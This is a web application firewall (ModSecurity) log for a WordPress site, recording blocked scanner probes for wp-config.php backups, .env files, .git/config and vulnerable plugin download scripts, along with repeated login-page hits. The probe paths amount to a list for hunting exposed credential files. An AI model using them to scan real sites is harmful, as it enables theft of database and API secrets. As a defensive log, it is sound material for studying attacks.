[Sun Dec 07 23:40:47.080695 2025] [:error] [pid 5312:tid 5328] [client 159.26.110.84:5099] [client 159.26.110.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-config.2"] [unique_id "aTWf_-aM49rasZGg_o4iDAAAAA4"]
[Sun Dec 07 23:40:48.744500 2025] [:error] [pid 9961:tid 9982] [client 159.26.110.84:6247] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/mdocs-posts/"] [unique_id "aTWgAGQdnfbgcnzr89KR4QAAAVM"]
[Sun Dec 07 23:40:50.463320 2025] [:error] [pid 5312:tid 5331] [client 159.26.110.84:31446] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php"] [unique_id "aTWgAuaM49rasZGg_o4iEwAAABE"]
[Sun Dec 07 23:40:52.101957 2025] [:error] [pid 5222:tid 5248] [client 159.26.110.84:46927] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.zip"] [unique_id "aTWgBN8FU0HgkYWmt7tc-QAAAFY"]
[Sun Dec 07 23:40:53.898437 2025] [:error] [pid 5224:tid 5282] [client 159.26.110.84:4910] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/wp-config.php.bak"] [unique_id "aTWgBfAAkbWt7RJBoF8ICwAAAME"]
[Sun Dec 07 23:40:55.515497 2025] [:error] [pid 5224:tid 5295] [client 159.26.110.84:27601] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.wp-config.php.swp"] [unique_id "aTWgB_AAkbWt7RJBoF8IDgAAAM4"]
[Sun Dec 07 23:40:57.439109 2025] [:error] [pid 5222:tid 5230] [client 159.26.110.84:23600] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/estrutura-basica/scripts/download.php"] [unique_id "aTWgCd8FU0HgkYWmt7tc_AAAAEQ"]
[Sun Dec 07 23:41:01.244902 2025] [:error] [pid 5222:tid 5241] [client 159.26.110.84:62939] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-publication-archive/includes/openfile.php"] [unique_id "aTWgDd8FU0HgkYWmt7tdAgAAAE8"]
[Sun Dec 07 23:41:02.883839 2025] [:error] [pid 9610:tid 9620] [client 159.26.110.84:3286] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/antioch/lib/scripts/download.php"] [unique_id "aTWgDsZ4Zl9G0UhQ7w1flwAAAQg"]
[Sun Dec 07 23:41:04.672312 2025] [:error] [pid 5312:tid 5335] [client 159.26.110.84:20446] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/sb-download.php"] [unique_id "aTWgEOaM49rasZGg_o4iJwAAABU"]
[Sun Dec 07 23:41:06.287417 2025] [:error] [pid 5222:tid 5238] [client 159.26.110.84:22139] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wordpress/wp-config.php.backup"] [unique_id "aTWgEt8FU0HgkYWmt7tdCQAAAEw"]
[Sun Dec 07 23:41:11.400248 2025] [:error] [pid 9610:tid 9616] [client 159.26.110.84:26826] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php5"] [unique_id "aTWgF8Z4Zl9G0UhQ7w1fpwAAAQQ"]
[Sun Dec 07 23:41:13.054054 2025] [:error] [pid 5223:tid 5265] [client 159.26.110.84:12388] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.aws"] [unique_id "aTWgGfoRJa-T0FB0DNoJmwAAAIs"]
[Sun Dec 07 23:41:14.693374 2025] [:error] [pid 5222:tid 5232] [client 159.26.110.84:43034] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTWgGt8FU0HgkYWmt7tdDwAAAEY"]
[Sun Dec 07 23:41:16.342218 2025] [:error] [pid 5222:tid 5248] [client 159.26.110.84:22451] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.bak" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.bak1"] [unique_id "aTWgHN8FU0HgkYWmt7tdFAAAAFY"]
[Sun Dec 07 23:41:17.984743 2025] [:error] [pid 9961:tid 9969] [client 159.26.110.84:50266] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php"] [unique_id "aTWgHWQdnfbgcnzr89KR_QAAAUY"]
[Sun Dec 07 23:41:19.639042 2025] [:error] [pid 5223:tid 5261] [client 159.26.110.84:27606] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/urbancity/lib/scripts/download.php"] [unique_id "aTWgH_oRJa-T0FB0DNoJqgAAAIc"]
[Sun Dec 07 23:41:21.253385 2025] [:error] [pid 5223:tid 5256] [client 159.26.110.84:3103] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/linenity/functions/download.php"] [unique_id "aTWgIfoRJa-T0FB0DNoJrwAAAII"]
[Sun Dec 07 23:41:22.869985 2025] [:error] [pid 5222:tid 5250] [client 159.26.110.84:8790] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/duena/download.php"] [unique_id "aTWgIt8FU0HgkYWmt7tdHQAAAFg"]
[Sun Dec 07 23:41:24.578346 2025] [:error] [pid 5312:tid 5320] [client 159.26.110.84:45381] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/themes/PlixPro/download.php"] [unique_id "aTWgJOaM49rasZGg_o4iLwAAAAY"]
[Sun Dec 07 23:41:26.210002 2025] [:error] [pid 9610:tid 9632] [client 159.26.110.84:50762] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||gigfragments.org|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "gigfragments.org"] [uri "/wp-config.ini"] [unique_id "aTWgJsZ4Zl9G0UhQ7w1fqwAAARQ"]
[Sun Dec 07 23:41:27.589593 2025] [:error] [pid 9610:tid 9631] [client 159.26.110.84:50762] [client 159.26.110.84] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/codecanyon-5293356-ajax-store-locator-wordpress/sl_file_download.php"] [unique_id "aTWgJ8Z4Zl9G0UhQ7w1frQAAARM"]
[Mon Dec 08 00:05:05.767412 2025] [:error] [pid 5312:tid 5319] [client 43.241.73.73:38928] [client 43.241.73.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.241.73.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTWlseaM49rasZGg_o4nCgAAAAU"]
[Mon Dec 08 00:22:40.777661 2025] [:error] [pid 55840:tid 55850] [client 45.86.202.201:57841] [client 45.86.202.201] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTWp0NXZ-ijN21c_Pr5S0AAAAAc"]
[Mon Dec 08 00:22:41.384560 2025] [:error] [pid 55700:tid 55780] [client 45.86.202.205:62423] [client 45.86.202.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.example"] [unique_id "aTWp0U8bwbrSb89n9TcBrQAAANc"]
[Mon Dec 08 00:22:41.840825 2025] [:error] [pid 55840:tid 55865] [client 164.92.138.175:60108] [client 164.92.138.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.138.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWp0dXZ-ijN21c_Pr5S0wAAABY"]
[Mon Dec 08 00:22:41.845848 2025] [:error] [pid 55700:tid 55764] [client 164.92.138.175:60107] [client 164.92.138.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.138.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWp0U8bwbrSb89n9TcBrgAAAMc"]
[Mon Dec 08 00:22:41.989085 2025] [:error] [pid 55700:tid 55760] [client 45.86.202.167:42147] [client 45.86.202.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aTWp0U8bwbrSb89n9TcBrwAAAMM"]
[Mon Dec 08 00:22:43.598379 2025] [:error] [pid 55699:tid 55751] [client 45.86.202.171:61945] [client 45.86.202.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aTWp03p2c7AdOPMmDENZbAAAAJU"]
[Mon Dec 08 00:22:44.221706 2025] [:error] [pid 55699:tid 55740] [client 45.86.202.224:35729] [client 45.86.202.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/config/.env"] [unique_id "aTWp1Hp2c7AdOPMmDENZbQAAAIo"]
[Mon Dec 08 00:23:45.130372 2025] [:error] [pid 55699:tid 55741] [client 164.92.138.175:50725] [client 164.92.138.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.138.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWqEXp2c7AdOPMmDENZxgAAAIs"]
[Mon Dec 08 00:23:45.138631 2025] [:error] [pid 55840:tid 55865] [client 164.92.138.175:50731] [client 164.92.138.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.138.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTWqEdXZ-ijN21c_Pr5TiAAAABY"]
[Mon Dec 08 01:14:43.489518 2025] [:error] [pid 55699:tid 55755] [client 162.241.70.178:35230] [client 162.241.70.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.70.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTW2A3p2c7AdOPMmDENnnQAAAJg"]
[Mon Dec 08 01:31:22.088631 2025] [:error] [pid 55699:tid 55730] [client 139.59.150.44:56935] [client 139.59.150.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.150.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTW56np2c7AdOPMmDENsTwAAAIA"]
[Mon Dec 08 01:31:22.088906 2025] [:error] [pid 55699:tid 55747] [client 139.59.150.44:56936] [client 139.59.150.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.150.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTW56np2c7AdOPMmDENsUAAAAJE"]
[Mon Dec 08 01:32:27.309798 2025] [:error] [pid 55700:tid 55778] [client 139.59.150.44:64286] [client 139.59.150.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.150.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTW6K08bwbrSb89n9TcXvQAAANU"]
[Mon Dec 08 01:32:27.310482 2025] [:error] [pid 55700:tid 55775] [client 139.59.150.44:64281] [client 139.59.150.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.150.44, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTW6K08bwbrSb89n9TcXvgAAANI"]
[Mon Dec 08 01:36:09.084331 2025] [:error] [pid 55699:tid 55737] [client 43.130.150.80:58570] [client 43.130.150.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTW7CXp2c7AdOPMmDENtYwAAAIc"]
[Mon Dec 08 02:32:29.167431 2025] [:error] [pid 55840:tid 55860] [client 65.108.220.222:64334] [client 65.108.220.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.220.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXIPdXZ-ijN21c_Pr6KhQAAABE"]
[Mon Dec 08 02:32:34.729695 2025] [:error] [pid 55840:tid 55857] [client 65.108.220.222:64334] [client 65.108.220.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.220.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXIQtXZ-ijN21c_Pr6KkwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Mon Dec 08 03:47:13.269847 2025] [:error] [pid 39909:tid 39925] [client 165.227.129.135:57329] [client 165.227.129.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.129.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXZwU3BTfMigY3wvyASgAAAAM4"]
[Mon Dec 08 03:47:13.275425 2025] [:error] [pid 39909:tid 39930] [client 165.227.129.135:57328] [client 165.227.129.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.129.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXZwU3BTfMigY3wvyASgQAAANM"]
[Mon Dec 08 03:48:37.443714 2025] [:error] [pid 39909:tid 39932] [client 167.71.59.101:64578] [client 167.71.59.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.59.101, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXaFU3BTfMigY3wvyAS8gAAANU"]
[Mon Dec 08 04:10:37.623643 2025] [:error] [pid 18636:tid 18693] [client 3.253.34.27:52246] [client 3.253.34.27] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTXfPegdXnohVr6jm70slwAAAIE"]
[Mon Dec 08 04:47:40.891401 2025] [:error] [pid 18726:tid 18749] [client 81.12.39.195:39980] [client 81.12.39.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.12.39.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTXn7FwVbxmJGL5LHAcoIAAAANU"]
[Mon Dec 08 04:52:48.564250 2025] [:error] [pid 54671:tid 54687] [client 38.246.32.217:61065] [client 38.246.32.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXpIFqOuiNLLCfVy7976wAAAQ0"]
[Mon Dec 08 04:52:48.565439 2025] [:error] [pid 18726:tid 18748] [client 38.246.32.217:61064] [client 38.246.32.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXpIFwVbxmJGL5LHAco5wAAANQ"]
[Mon Dec 08 04:53:48.316849 2025] [:error] [pid 54705:tid 54737] [client 38.246.32.217:54050] [client 38.246.32.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXpXKdUeDkxwo12SG8K8wAAAYM"]
[Mon Dec 08 04:53:48.368206 2025] [:error] [pid 18635:tid 18669] [client 38.246.32.217:54091] [client 38.246.32.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTXpXG4kCC_HamQRuE1meAAAAEQ"]
[Mon Dec 08 05:05:53.614113 2025] [:error] [pid 18636:tid 18705] [client 117.33.163.216:58526] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTXsMegdXnohVr6jm708BQAAAI0"]
[Mon Dec 08 06:00:34.863538 2025] [:error] [pid 18636:tid 18695] [client 208.115.224.233:49745] [client 208.115.224.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTX5AugdXnohVr6jm71ITwAAAIM"]
[Mon Dec 08 06:00:34.864516 2025] [:error] [pid 54704:tid 54712] [client 208.115.224.233:49746] [client 208.115.224.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTX5AnL1WYsMMmlqjh4VMAAAAUU"]
[Mon Dec 08 06:01:24.962111 2025] [:error] [pid 54671:tid 54678] [client 208.115.224.233:56248] [client 208.115.224.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTX5NFqOuiNLLCfVy7-NQAAAAQQ"]
[Mon Dec 08 06:01:24.963329 2025] [:error] [pid 18635:tid 18689] [client 208.115.224.233:56253] [client 208.115.224.233] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.115.224.233, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTX5NG4kCC_HamQRuE11cQAAAFg"]
[Mon Dec 08 07:07:47.134341 2025] [:error] [pid 54705:tid 54739] [client 38.246.33.6:63935] [client 38.246.33.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYIw6dUeDkxwo12SG9COgAAAYU"]
[Mon Dec 08 07:07:47.134476 2025] [:error] [pid 54705:tid 54749] [client 38.246.33.6:63934] [client 38.246.33.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.33.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTYIw6dUeDkxwo12SG9COwAAAY8"]
